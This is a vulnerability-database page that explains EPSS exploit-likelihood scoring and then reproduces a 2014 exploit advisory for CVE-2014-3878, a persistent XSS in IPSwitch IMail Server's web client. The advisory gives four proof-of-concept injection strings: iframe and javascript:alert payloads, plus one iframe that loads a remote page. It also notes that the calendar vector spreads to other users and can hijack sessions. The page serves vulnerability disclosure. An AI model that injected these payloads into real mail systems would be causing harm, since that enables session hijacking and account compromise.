EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# Exploit Title: IPSwitch IMail Server WEB client 12.4 persistent XSS # Google Dork: # Date: 3 june 2014 # Exploit Author: Peru (GoSecure!) # Vendor Homepage: www.ipswitch.com # Software Link: http://www.imailserver.com/try/ # Version: Tested on 12.3 and 12.4 before 12.4.1.15 # Tested on: WindowsServer2008R2 STD SP1 # CVE : 2014-3878 Four injection points were useful to create a persistent Cross Site Scripting. All the injections are reached using default Web Client interface, but the Web Client Lite seems to be not vulnerable to these tests. 1. Contacts section: A persistent XSS can be reached adding a new contact with a specific string in the Name field and whatever image: PoC string: Go<IFRAME SRC="javascript:alert('www.gosecure.it');"></IFRAME>Secure! When the contact is saved and on mouse over the picture the Name is been displayed in a bubble activating the JS: 2. Contacts section: A vulnerability can also be reached in the Adding Group task. PoC string: <iframe src="http://www.gosecure.it" height=500 width=500 frameborder=1 align=center></iframe> 3. Calendar section: A persistent XSS can be reached adding a new event in the Calendar; this event can be spread adding the Meeting Request option. Since, using this injection point, the XSS can be spread to other users, this is the most dangerous of the four and can be used to spoofing sessions and therefore compromising the attacked users account The JavaScript is executed simply viewing the calendar or when the Reminder pops up. PoC string: GS!<IFRAME SRC="javascript:alert(‘GoSecure!');"></IFRAME> 4.Task section: In a similar way also the tasks are vulnerable to persistent XXS. PoC string: <iframe src=http://www.gosecure.it/blog/remote/xss_h.html>
